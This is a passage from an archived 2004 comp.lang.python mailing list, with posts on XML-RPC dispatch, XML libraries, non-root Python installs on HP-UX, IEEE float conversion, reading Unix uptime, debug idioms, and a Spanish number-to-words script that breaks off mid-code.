screen with the stylus is pretty trick, as well.) Richard Hanson -- sickoldfartnewsguycom From deetsNOSPAM at web.de Thu Sep 2 17:37:02 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 02 Sep 2004 23:37:02 +0200 Subject: Right way to define methods to SimpleXMLRPCServer? References: Message-ID: > When I call a method on the server with no args _dispatch is called, and > the server prints this: > > {'args': ((),), 'kwds': {}} > > Seems to me like it has one nesting level too many in the args tuple. > Shouldn't it be ()? Is this a bug or am I misinterpreting something? Calling a function without any args always yields an empty tuple - like this: >>> def foo(*args): print args >>> foo() () >>> Looking at SimpleXMLRPCServer one sees this: params, method = xmlrpclib.loads(data) # generate response try: if dispatch_method is not None: response = dispatch_method(method, params) So the argument list is the second argument, which is probably the empty tuple- that explains your observations. Looking into the docs, you see that dispatch is supposed to have this signature: def _dispatch(self, method, params): No * here, as well as keywords. Then things are more clear :) -- Regards, Diez B. Roggisch From maps_263 at hotmail.com Fri Sep 17 12:37:07 2004 From: maps_263 at hotmail.com (Jonas Hei) Date: Fri, 17 Sep 2004 18:37:07 +0200 Subject: Recommendations about xmltramp Message-ID: I'd like to get experts' opinion about xmltramp (http://www.aaronsw.com/2002/xmltramp/). I am still in early stages of exploration - I need to determine to process XML in my next project. Currently I like ElementTree (@ effbot.org) and xmltramp. But I am bit concerned about Mark Pilgrim's comments about xmltree(http://diveintomark.org/archives/blinks/2003/12/#b20031218035253) Can anyone elaborate/explain about scenarios in which xmltramp can corrupt data? Or was it all just a joke... From peter at engcorp.com Tue Sep 7 09:27:13 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 Sep 2004 09:27:13 -0400 Subject: How to actually write a program? In-Reply-To: <1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com> References: <1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Peter Hansen wrote: >>Ahhh!! Run! Run, Neil, run! UML! ... >>Ahhh!!! Run away some more! UML and XP are nearly anti-thetical. > > UML and Agile/XP are typically used in organizations with very different > philosophies and mindsets. They're anything but antithetical > _technically_, but, _culturally_, you're probably right... I guess I won't (can't) disagree until I have an idea what you mean in this case by "technically". On the face of it, I see little that isn't antithetical about them, technically or otherwise. Quick (and for the most part throw-away) drawings on whiteboards would seem to be the preferred Agile/XP solution, but maybe that's where you bring in "culturally"... >>-rabidly-anti-UML-ically y'rs, >> Peter > > I suspect your "anti-ness" comes from cultural and not technical factor. > Basically, injecting some modeling into an Agile culture, just like the > reverse, takes diplomatic talents which very few people possess... Again, not sure how to tell the difference. I was working in a group where we were trying to make effective use of UML before we ever encountered Agile... in fact, it was in part due to those experiences that we embraced agility and XP... And since we managed to get agility into a modeling culture, I'll assume someone had the necessary talents. I think the problem lay elsewhere. -Peter From klapotec at chello.at Wed Sep 1 21:47:44 2004 From: klapotec at chello.at (Christopher Koppler) Date: Thu, 02 Sep 2004 01:47:44 GMT Subject: I've seen things you people wouldn't believe... ; -) (was Re: age of Python programmers) References: <20040819231139.D039A1E4003@bag.python.org> <896dnZfdH8-l1rbcRVn-qw@powergate.ca> Message-ID: On Wed, 01 Sep 2004 11:54:41 -0400, Christopher T King wrote: > If you want a story though, I interned at a Windows shop these past two > summers, where all their programming was done in VB embedded in Word > documents, or in a third-party supplied castrated version of VB (on the PC That didn't just happen to be (expletive deleted) SAX Basic? If I never see that again, it'll be too early. -- Christopher From simoninusa2001 at yahoo.co.uk Sun Sep 19 03:31:26 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 19 Sep 2004 00:31:26 -0700 Subject: $LD_LIBRARY_PATH, cx_Freeze and wxPython In-Reply-To: <9klv12-66q.ln1@home.rogerbinns.com> References: <1095571462.551292.150660@k26g2000oda.googlegroups.com> <9klv12-66q.ln1@home.rogerbinns.com> Message-ID: <1095579086.031479.116310@h37g2000oda.googlegroups.com> Yup, just found that --init-script=ConsoleSetLibPath myself, thanks, seems to work on SUSE 9.1 Pro, well done with the Wiki Page BTW! I also just found the mailing list, although at the time I wasn't sure if it was a wxPython or cx_Freeze issue... Now I've just got to find out why McMillan Installer segfaults on RHEL 3ES..... From Mike at Geary.com Thu Sep 2 14:25:25 2004 From: Mike at Geary.com (Michael Geary) Date: Thu, 2 Sep 2004 11:25:25 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> Message-ID: <10jepclkbnf8aac@corp.supernews.com> > Peter Kleiweg wrote: > > There are quite a lot of people who think JavaScript and > > Java are the same thing, if not at least remotely related. Martin DeMello" wrote: > Whch is sad, because javascript is actually a much nicer > language than the 'java' part of its name would suggest :) Indeed, JavaScript has much more in common with languages like Python and Ruby than it does with Java. But even the supposed experts get this wrong. I was at a talk that Danny Goodman gave on scripting languages, and one of his slides said "JavaScript is Java without the gnarly bits." I've never heard a more profound misunderstanding of JavaScript. -Mike From pf_moore at yahoo.co.uk Sun Sep 19 08:34:38 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Sun, 19 Sep 2004 13:34:38 +0100 Subject: Python binaries for Solaris, HP-UX References: <973u12-rta.ln1@valpo.de> Message-ID: Mathias Waack writes: > Paul Moore wrote: > >>> HP offers precompiled packages of free software at the DSPP pages: >>> > http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html >> >> That installs to /usr/local, unfortunately. As I said, I need >> something that will install as an unprivileged user > > If you take a closer look you will see, that the HP packages can be > unpacked anywhere. Its just a little more work then using the > installer. I apologise for being dense here - as I said, I am not familiar with Unix admin (I'm an Oracle DBA, in fact). I checked the Python package linked to from that site, which takes me to the HP-UX porting and archive centre. The binary distribution is a compressed depot file, which isn't a format I'm familiar with, but the FAQ states: """ 5.5 What do I do with SD 11.X depot packages? You can either install software onto your system using swinstall(1M), or you can redistribute the software using swcopy(1M) and others may then install the software directly from your machine. Both actions require root access. """ I searched the FAQ on that site, and can see nothing about installing as a non-root user. > BTW I'm working for company which solved this problem by allowing > everybody to write to /usr/local. > > BTW2 I do not working as a system administrator for this company;) Ah - an enlightened company :-) Unfortunately, I'm working for a company that does 3rd party support for *other* companies. By the time you have 2 layers of admin and "security" rules in place, you're lucky if you can get access to ksh... :-( I really don't want to write our admin scripts in Perl, just because it comes preinstalled :-( Paul. -- Home computers are being called upon to perform many new functions, including the consumption of homework formerly eaten by the dog -- Doug Larson From sbabbitt at commspeed.net Tue Sep 14 10:10:54 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Tue, 14 Sep 2004 07:10:54 -0700 Subject: IEEE 754 floats References: Message-ID: <1095171670.187619@news.commspeed.net> "Dale Huffman" wrote in message news:a2a325a7.0409140504.2d36562b at posting.google.com... > Is there a simple way to convert an IEEE-754 floating point ascii > string ( "0x40400000" = 3.0, 32bit ) into a float variable, without > writing a function to do the math. I have transferred this across a > network from a device I have no contol over and it sends all data as a > string. Everything I have tried just converts from hex to decimal and > adds a decimal point and a zero. > > string.atof("0x40400000") returns 1077936128.0 > > In case I'm not explaining clearly, what I'm looking for could be > coded in C as follows: > > int a = 0x40400000; > float *ap = (float *)&a; > > float myFloat = *ap; > > Sorry if the C offeded anyone in the Py crowd but I'm new to Python > and so far it rocks - I just don't have the basics down yet. Have a look at the struct module in the standard distribution. Tom From noone at here.com Thu Sep 30 01:10:35 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 06:10:35 +0100 Subject: List rotation References: Message-ID: Hi Steven, Sorry, as I'm a beginner I don't think I should have used the title rotate list, as that's not what I want. If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would of course give('d', 'b', 'a' etc... What I'm looking for is that say if trans = 1, then the list would become ('b', 'a', 'c', 'b', 'a', 'd', 'c') . For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') items = ('a', 'b', 'c', 'd') items + 1 = ( 'b', 'c', 'd', 'a') items + 2 = ( 'c', 'd', 'a', 'b') items + 3 = ( 'd', 'a', 'b', 'c') trans = 1 list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') I can think of the long/wrong way to do it as shown for trans = 3, but there must be some simpler idea. for idx in range(len(items)): if list[idx:idx + 1] == ['a']: list[idx:idx + 1] = ['d'] if list[idx:idx + 1] == ['b']: list[idx:idx + 1] = ['a'] From fredrik at pythonware.com Sun Sep 19 16:33:46 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 22:33:46 +0200 Subject: uptime in unix References: Message-ID: Oli Schwarz wrote: > how can I read out the uptime of a unix system in python (Linux and *BSD). > > I have not found a uptime-function in the Library. try this: uptime, idletime = [float(field) for field in open("/proc/uptime").read().split()] (times in seconds) I don't know if this works on *BSD; in worst case, you have to parse the output from the uptime command itself: import re, os output = os.popen("uptime").read() m = re.search("up (\d+) days,\s+(\d+):(\d+)", output) if not m: raise ValueError("unknown uptime format") days, hours, minutes = map(float, m.groups()) uptime = days * 86400 + hours * 3600 + minutes * 60 (tweak as necessary) From simoninusa2001 at yahoo.co.uk Sun Sep 19 19:17:29 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 19 Sep 2004 16:17:29 -0700 Subject: python is going to die! =( In-Reply-To: References: Message-ID: <1095635849.649169.161680@k26g2000oda.googlegroups.com> Don't feed the troll. If he needs an IDE, then he is not a programmer, he's a code monkey, just like Java guys - they're a dime a dozen as they can't code, they rely on the auto-completion and drag'n'drop of visual IDEs. From fumanchu at amor.org Thu Sep 30 13:44:06 2004 From: fumanchu at amor.org (Robert Brewer) Date: Thu, 30 Sep 2004 10:44:06 -0700 Subject: idiom for debug code? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F1C@exchange.hqamor.amorhq.net> Dan Perl wrote: > Is there a mechanism or an idiom for adding code for > debugging so that it > can easily be removed in the production code? I am thinking > of something > similar to the C/C++ preprocessor statements with which you > can compile an > application with the debug code or without it (the default). >From the docs (http://docs.python.org/ref/assert.html): ---- The simple form, "assert expression", is equivalent to if __debug__: if not expression: raise AssertionError The extended form, "assert expression1, expression2", is equivalent to if __debug__: if not expression1: raise AssertionError, expression2 These equivalences assume that __debug__ and AssertionError refer to the built-in variables with those names. In the current implementation, the built-in variable __debug__ is 1 under normal circumstances, 0 when optimization is requested (command line option -O). The current code generator emits no code for an assert statement when optimization is requested at compile time. Note that it is unnecessary to include the source code for the expression that failed in the error message; it will be displayed as part of the stack trace. Assignments to __debug__ are illegal. The value for the built-in variable is determined when the interpreter starts. ---- ...which implies other uses for __debug__, I think, which might fit your needs. Robert Brewer MIS Amor Ministries fumanchu at amor.org From timr at probo.com Wed Sep 22 02:56:20 2004 From: timr at probo.com (Tim Roberts) Date: Tue, 21 Sep 2004 23:56:20 -0700 Subject: python is going to die! =( References: Message-ID: Dave Cook wrote: > >julio wrote: > >> Sorry but there is no another way, c# .net and mono are going to rip >> python, not because python is a bad lenguage, but because is to darn old > >I don't really get the connection between the two. C# is a very different >type of language, with a different market. I have to say that I disagree. Both are interpreted to an intermediate language. Both have a substantial built-in library. Both are strongly oriented towards network applications. They are different, sure, but they are not "very different", in the same way that Python and C++ are "very different". >And I still don't understand the "why" of mono. Really? It seems quite clear to me. With Microsoft's considerable weight behind it, for better or for worse, there are going to be a lot of .NET managed applications built in the near future. Thanks to Mono, all of those application BINARIES will run on Linux. Mono provides better support immediately than what WINE provides after more than a decade. I don't agree with the original poster, and we'll have to wait to see how it all plays out, but the fact is that C# and the Common Language Runtime really are a fundamentally good idea. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From cgibbs at kltpzyxm.invalid Tue Sep 7 16:45:06 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 07 Sep 04 12:45:06 -0800 Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> <2prna6Fnrv5rU1@uni-berlin.de> <20040904073342.5da8c563.steveo@eircom.net> Message-ID: <764.746T316T7654137@kltpzyxm.invalid> In article , kkt at drizzle.com (Patrick Scheible) writes: >Steve O'Hara-Smith writes: > >> There are stone stairs in my old school and in many college >> buildings that have deep curves worn into them by feet over a >> century or three. > >Heh. There are marble stairs with deep wear in them in the main >library at my school... only that particular building was only built >in 1925 or thereabouts. Another damned contractor swapping in substandard materials... -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From aleaxit at yahoo.com Sat Sep 4 05:00:32 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:32 +0200 Subject: using generators for event handling in python. References: <2eMZc.1265$ZS6.396@trndny07> Message-ID: <1gjk2su.1nnhozzfmokg4N%aleaxit@yahoo.com> Robin Bryce wrote: > Thanks, I don't have a compact version. I could remove the fork feature > but I think this is pretty crucial. And I could strip the comments out. > I definitely need to rethink the examples. I don't think any of that > really helps express the essence though. Let me see what I can do to > boil out the bloat. > > I've updated the link in the original post to point at a page that > tracks the changes. > > Thankyou very much for responding ! Raymond's response is right on target (as usual). The point is that recipes are mostly meant as concise snippets illustrating ideas -- only a few (say 10-15 or so, tops) of the 200+ recipes that end up in the printed cookbook can be "modules", big chunks intended to use as such rather than as illustrations, and they must be ones that solve key everyday problems... of which "generators for event handling" isn't one (examples from the 1st edition include strptime -- important enough that it ended up in the standard library soon after the book got out!-). Very short comments and docstrings are preferred -- the info must of course be there, but it's intended to go in the Discussion section, while the code of the Solution section is meant to be read mostly as code, going to the Discussion for text. Few people post recipes in that way, which means we coeditors (me, David Ascher, and my wife Anna) must do a lot of editing (so we end up biased strongly in favour of those few recipes posted in such a way as to require less editing!-). Do keep in mind that the deadline for 2.3-based submissions is tomorrow, Saturday (actually this post of mine will leave on Sat -- right now I'm without net connection...) -- then, on Sunday, Monday at the latest, we'll take a snapshot, and only recipes that are in it will be considered for dead-tree publication in the 2nd edition (if your recipe is 2.4 specific the deadline is 3 weeks longer AND more likely to get in -- we do have good coverage of most of 2.4's _language_ novelties, but not of many of the enhancements to the standard library... the 2nd edition will cover 2.3 and 2.4, for 2.2 and older versions people should still refer to the 1st editiion, so good 2.4 coverage is important even though the 2.4 release is still alpha...!) Anyway, whatever you have (unless 2.4-specific), post it NOW or it definitely won't get into the 2nd printed edition. If you post now you can edit later... (of course, no guarantees: we have 1000+ recipes to choose from, and can only choose the 200 or so best ones, so we WILL be extremely selective -- much more so than in the 1st edition, when the same number of published recipes were selected from a vastly smaller number of posted recipes... this will presumably result in higher quality for the 2nd edition, but also in inevitable disappointment among authors whose recipes are _not_ selected... one tip from the horse's mouth: if you can post a key snippet, sensibly, as a comment to a good existing recipe, your chance of getting author credit and a free copy zoom up -- authors of significant comments that we use in the printed version DO get credit and a complimentary copy of the book...!!!... but deadlines for such comments are just the same as for recipes -- tomorrow for 2.3 stuff, 3 weeks for 2.4-specific stuff...). Alex From aleaxit at yahoo.com Thu Sep 23 02:59:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 08:59:09 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com> Message-ID: <1gkk60l.18a3mpc8xck0N%aleaxit@yahoo.com> Andrew Dalke wrote: > Alex Martelli wrote: > > ....and wc would then not count that non-line as a line, so why should > > we...? Witness...: > > 'Cause that's what Python does. Witness: If you tell it to count non-lines too (pieces that don't end with an endline marker), it does, of course: > % echo -n 'bu' | python -c \ > ? 'import sys; print len(sys.stdin.readlines())' > 1 But that's just because you told it to. To reproduce wc's behavior, you have to exclude non-lines -- use len([ l for l in sys.stdin if l.endswith('\n') ]) for example. Or, the simpler .count('\n') approach. I suspect somebody who asks the subject question wants to reproduce wc's counting behavior. Of course, it _is_ an imprecise spec they're giving. Alex From danb_83 at yahoo.com Mon Sep 20 06:02:25 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 20 Sep 2004 03:02:25 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: bokr at oz.net (Bengt Richter) wrote in message news:... > On 19 Sep 2004 15:24:31 -0700, danb_83 at yahoo.com (Dan Bishop) wrote: > [...] > >There are, of course, reasonably accurate rational approximations of > >pi. For example, 355/113 (accurate to 6 decimal places), 312689/99532 > >(9 decimal places), or 3126535/995207 (11 decimal places). Also, the > >IEEE 754 double-precision representation of pi is equal to the > >rational number 4503599627370496/281474976710656. > >>> divmod(4503599627370496,281474976710656) > (16L, 0L) > > a little glitch somewhere ? ;-) Oops. I meant 884279719003555/281474976710656. From tundra at tundraware.com Wed Sep 1 17:49:18 2004 From: tundra at tundraware.com (Tim Daneliuk) Date: 01 Sep 2004 17:49:18 EDT Subject: ANN: YAPDL Message-ID: <2osh02-e6i1.ln1@eskimo.tundraware.com> TundraWare Inc. Press Announcement For Immediate Release --------------------- Announcing: Yet Another Python Derived Language (YAPDL) --------------------------------------------------------- Since it has been almost a whole week since someone has proposed another "Python Like" language, TundraWare Inc. is pleased to do its part in announcing its very serious intention to consider the possibility of perhaps, maybe, someday, creating and releasing "Yet Another Python Derived Language" (YAPDL). Major YAPDL Benefits Include: - Very similar to Python in most ways, but with a strong emphasis on obscure academic purist notions that no one really cares about. - A vehicle for promoting interminable length discussions about said obscure notions on Internet newsgroups and IRC chatrooms. - A means of chasing Microsoft's .NET flavor-of-the-moment thereby further increasing the complexity of an already out-of-control development environment. - An opportunity for third-parties to spend inordinate amounts of time and effort to retrofit the Python library onto YAPDL. - A springboard for the further dead-horse-beatings of: a) Microsoft The Evil Empire b) What I miss about LISP/Haskel/Oberon/Assembler c) Why we need explicit block delimiters - A mechanism for further diluting the mindshare and resources available to improve, use, and promote, Python itself. TundraWare Inc.'s President, Tim Daneliuk, is quoted as saying, Contrary to some of the rumblings we've already heard, the YAPDL project was not commissioned or funded by Sun as a stealth JAVA promotion activity. We at TundraWare have taken this upon ourselves to insure that the Python community remains fractionalized, confusing, and intimidating to our corporate clients, thereby improving our chances of getting more billable hours. For more information, please contact the TundraWare Inc. press liaison: U.R. Kidding-Me blackhole at tundraware.com Old-And-Grumpy-ly Yours, ---------------------------------------------------------------------------- Tim Daneliuk tundra at tundraware.com PGP Key: http://www.tundraware.com/PGP/ From ksenia at ksenia.nl Fri Sep 24 15:07:33 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Fri, 24 Sep 2004 21:07:33 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <10l8ndokeuub5f2@corp.supernews.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com> <10l8ndokeuub5f2@corp.supernews.com> Message-ID: > Ah, but there's plenty of thought about neocon ties to Israel (and the > hard-line Zionist movement(s) there, in particular) and related > (rumored) connections to extreme Millenial religious groups who'd be > happy to see the arrival of Armageddon (and thus the Second Coming)... Hey, this is just the right date for this discussion :) Greetings from unusuall-still-because-it's-Yom-Kippur Tel-Aviv, Ksenia. From adalke at mindspring.com Sun Sep 5 17:37:07 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 05 Sep 2004 21:37:07 GMT Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> Message-ID: <7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net> Alex Martelli wrote: > Or, vastly better IMHO, one could equivalently code. > > reversed_list = list(reversed(mylist)) > > I don't understand why some people want to use list comprehensions > instead of simple calls to list(). As for me, it's because until recently with generators I very rarely used list() while I frequently use list comprehensions. When I think "I need a list" I therefore am more prone to remember comprehensions first. With generators becoming more common it's been easier for me to remember that list() is the appropriate solution. "There should be one -- and preferably only one -- obvious way to do it." Does that suggest that we should have had list() + generator comprehensions and not have list comprehensions? Andrew dalke at dalkescientific.com From greg at cosc.canterbury.ac.nz Wed Sep 29 01:45:15 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 29 Sep 2004 17:45:15 +1200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> Message-ID: <2rv0fhF1dn44qU1@uni-berlin.de> Ville Vainio wrote: > Still, I'm > delighted to see anti-deterministic theories being debunked also in > the scientific circles. The word isn't "debunked", it's "refined". When Einstein came up with relativity, Newtonian mechanics didn't suddenly become "bunk". On the contrary, it remains a very successful theory within its domain of applicability and is still very much used. The same will likely be true of current quantum theories vs. anything that comes up in the future. > Scientists are perhaps a bit too eager to think that they are > beginning to understand ultimate reality when they just have some new > theories that support their empiric data. But scientists don't usually claim to understand any such thing. Generally they're well aware that their theories are no more than "current best knowledge". They may not *say* that very often in so many words, but that's only because to them it's something that's self-evident and doesn't need saying. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From nicksjacobson at yahoo.com Fri Sep 10 07:44:23 2004 From: nicksjacobson at yahoo.com (Nick Jacobson) Date: 10 Sep 2004 04:44:23 -0700 Subject: A bug with file.tell()? References: Message-ID: It gets weirder: I added the second fp.read(3) statement below. And that statement doesn't print anything out! It (fp.read(3)) thinks it's at the end of the file, while the next statement "for line in fp" thinks it's not (and reads "asdf")! Now I'm definitely confused. fp = file("testcrlf.txt") #read in some of the file: print fp.read(3) for line in fp: if line == "blah3\n": break fpos = fp.tell() #save the current position... print fp.read(3) for line in fp: print line #prints "asdf", so it wasn't at the end of the file fp.seek(fpos) #rewind? for line in fp: print line #prints nothing, because it's at the end of the file! From physics_seeker at yahoo.com Sat Sep 25 13:35:12 2004 From: physics_seeker at yahoo.com (PhysicsGenius) Date: Sat, 25 Sep 2004 17:35:12 GMT Subject: Clickable (wx)python app in OS X In-Reply-To: <41558086$0$42259$ed2e19e4@ptn-nntp-reader04.plus.net> References: <26658f61.0409250605.32f18ba2@posting.google.com> <41558086$0$42259$ed2e19e4@ptn-nntp-reader04.plus.net> Message-ID: Chris McD wrote: > PhysicsGenius wrote: > >> AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!! I hate Macs. >> >> I have a wxPython program. It runs fine on OS X when I launch it from >> the Terminal ("pythonw appname.py") . The user wants to be able to >> click it. Two main suggestions on the Internet, neither of which >> works: >> >> 1) "Use Platypus" So I download it, upgrade Stuffit, install both, >> figure out how to use it, create an app....and it doesn't work for >> graphical apps. Nice to know, thanks for telling me ahead of time! >> >> 2) "Just associate .py files with PythonInterpreter". Sounds easy! So >> I navigate to appname.py, Get Info, Open With, navigate to >> PythonInterpreter....WhereTF is "PythonInterpreter"? Not on the OS X >> system anywhere and Google only finds a Python module. >> >> So, how do I create a clickable icon that will launch my wxPython >> program? > > > Well you are opening it with pythonw so why not associate *.py with > pythonw or python? > > Chris I was pretty sure this was impossible, but I may have done it. For anyone else as frustrated as I was (and still am, kinda): I associated .py with /System/Library/Frameworks/Python.framework/Resources/PythonLauncher. It still brings up a Terminal window, but at least the app launches from a click. Mac OS X: It Just Works (poorly) From nytimes at swiftdsl.com.au Fri Sep 17 07:43:04 2004 From: nytimes at swiftdsl.com.au (huy) Date: Fri, 17 Sep 2004 21:43:04 +1000 Subject: Python Webstart ? Message-ID: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Hi, Just wondering if there were any plans (or existing projects) similar to Java webstart for Python. I think this would be a boon for python. I would love to start my new project using Python but the deployment (and long term upgrading) factor is a major itch which pyfreeze and py2exe just doesn't scratch properly. Thanks Huy From frithiof.jensen at die_spammer_die.ericsson.com Tue Sep 14 06:20:24 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Tue, 14 Sep 2004 12:20:24 +0200 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: "Carlos Ribeiro" wrote in message news:mailman.3261.1095106220.5135.python-list at python.org... > The only partial exception so far is Boa Constructor. Riaan is > responsive, and there is a lot of things implemented. However, it's > far from perfect. It's heavy, takes a long time to load ... That's because your PC suck! On top of that, Windows 98 SE sucks even more, being possibly the worst aggregation of misfeatures to be built ontop of the already shaky dos-based Windows lineage!! The real problem is that nobody is likely to help you much because the developers themselves have moved on to bigger and better platforms; Clever IDE's *need* ample memory and CPU to draw all the pretty pictures and generate all that code on-the-fly, the developers usually have all that in abundance, so it is not likely that anyone designing IDE's will really *care* enough to do any testing on Win 98 in a memory starved environment!! I would bite it and Upgrade: Windows XP is a decent enough OS, IMO, and a bottom-of-the-range PC - which is a 1 GHz Athlon with 256 MB RAM, Geforce 2 graphics and 40 GB HDD - can often be had at less than USD 200. An entirely different stratosfere, from what you are used to - and I bet some of the stability problems with many of the IDEs' will disappear too. From DesertLinux at netscape.net Tue Sep 14 11:07:39 2004 From: DesertLinux at netscape.net (Byron) Date: Tue, 14 Sep 2004 15:07:39 GMT Subject: Using Python instead of DOS shell scripts In-Reply-To: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: <%OD1d.120$gG4.70@newsread1.news.pas.earthlink.net> Hi Jeff, Welcome to Python programming! If you want to learn Python quickly and easily, I would HIGHLY recommend that you check out "How to think like a computer scientist: Learning with Python." It is a free, downloadable book that teaches Python from the ground up. It also contains many fun, step-by-step examples for the beginner to try out -- along with an object-oriented approach later in the book. Check it out: http://www.greenteapress.com/thinkpython/ Byron --- Jeff Wagner wrote: > I have a project of converting numerous DOS cmd shell scripts to Python. Is there a tutorial to > getting started? > > Thanks, Jeff From luismg at gmx.net Tue Sep 28 22:44:47 2004 From: luismg at gmx.net (Neuruss) Date: 28 Sep 2004 19:44:47 -0700 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> Message-ID: <278de0e.0409281844.7668cbca@posting.google.com> I?ve got a program that already does what you want. I don't remember the author, I got it somewhere on the net, but it works great. It's in spanish but you'll get the idea... def unidades(x): if x == 0: unidad = "cero" if x == 1: unidad = "un" if x == 2: unidad = "dos" if x == 3: unidad = "tres" if x == 4: unidad = "cuatro" if x == 5: unidad = "cinco" if x == 6: unidad = "seis" if x == 7: unidad = "siete" if x == 8: unidad = "ocho" if x == 9: unidad = "nueve" return unidad def teens(x): if x == 0: teenname = "diez" if x == 1: teenname = "once" if x == 2: teenname = "doce" if x == 3: teenname = "trece" if x == 4: teenname = "catorce" if x == 5: teenname = "quince" return teenname def tens(x): if x == 1: tensname = "diez" if x == 2: tensname = "veinte" if x == 3: tensname = "treinta" if x == 4: tensname = "cuarenta" if x == 5: tensname = "cincuenta" if x == 6: tensname = "sesenta" if x == 7: tensname = "setenta" if x == 8: tensname = "ochenta" if x == 9: tensname = "noventa" return tensname def tercia(num): numero=str(num) if len(numero) == 1: numero='00'+numero if len(numero) == 2: numero='0'+numero a=int(numero[0]) b=int(numero[1]) c=int(numero[2]) # print a, b, c if a == 0: if b == 0: resultado=unidades(c) return resultado elif b == 1: if c >= 0 and c <= 5: resultado = teens(c) return resultado elif c >= 6 and c <= 9: resultado = tens(b)+' y '+unidades(c) return resultado elif b == 2: if c == 0: resultado = 'veinte' return resultado elif c > 0 and c <= 9: resultado ='veinti '+unidades(c) return resultado elif b >=3 and b <= 9: if c == 0: resultado = tens(b) return resultado if c >= 1 and c <= 9: resultado = tens(b)+' y '+unidades(c) return resultado if a == 1: if b == 0: if c == 0: resultado = 'cien' return resultado elif c > 0 and c <= 9: resultado ='ciento '+unidades(c) return resultado elif b == 1: if c >= 0 and c <= 5: resultado = 'ciento '+teens(c) return resultado elif c >= 6 and c <= 9: resultado = 'ciento '+tens(b)+' y '+unidades(c) return resultado elif b == 2: if c == 0: resultado = 'ciento veinte' return resultado elif c > 0 and c <= 9: resultado ='ciento veinti '+unidades(c) return resultado elif b >= 3 and b <= 9: if c == 0: resultado = 'ciento '+tens(b) return resultado elif c > 0 and c <= 9: resultado = 'ciento '+tens(b)+ ' y '+unidades(c ) return resultado elif a >= 2 and a <= 9: if a == 5: prefix='quinientos ' elif a == 7: prefix='setecientos ' elif a == 9: prefix='novecientos ' else: prefix=unidades(a)+' cientos ' if b == 0: if c == 0: resultado = prefix return resultado elif c > 0 and c <= 9: resultado = prefix+unidades(c) return resultado elif b == 1: if c >= 0 and c <= 5: resultado = prefix+teens(c) return resultado elif c >= 6 and c <= 9: resultado = prefix+tens(b)+' y '+unidades(c) return resultado elif b == 2: if c == 0: resultado = prefix+' veinte' return resultado elif c > 0 and c <= 9: resultado = prefix+' veinti '+unidades(c) return resultado elif b >= 3 and b <= 9: if c == 0: resultado = prefix+tens(b) return resultado elif c > 0 and c <= 9: resultado = prefix+tens(b)+' y '+unidades(c) return resultado def main(num): result='' numero=str(num) if len(numero) == 1: numero='00000000'+numero if len(numero) == 2: numero='0000000'+numero if len(numero) == 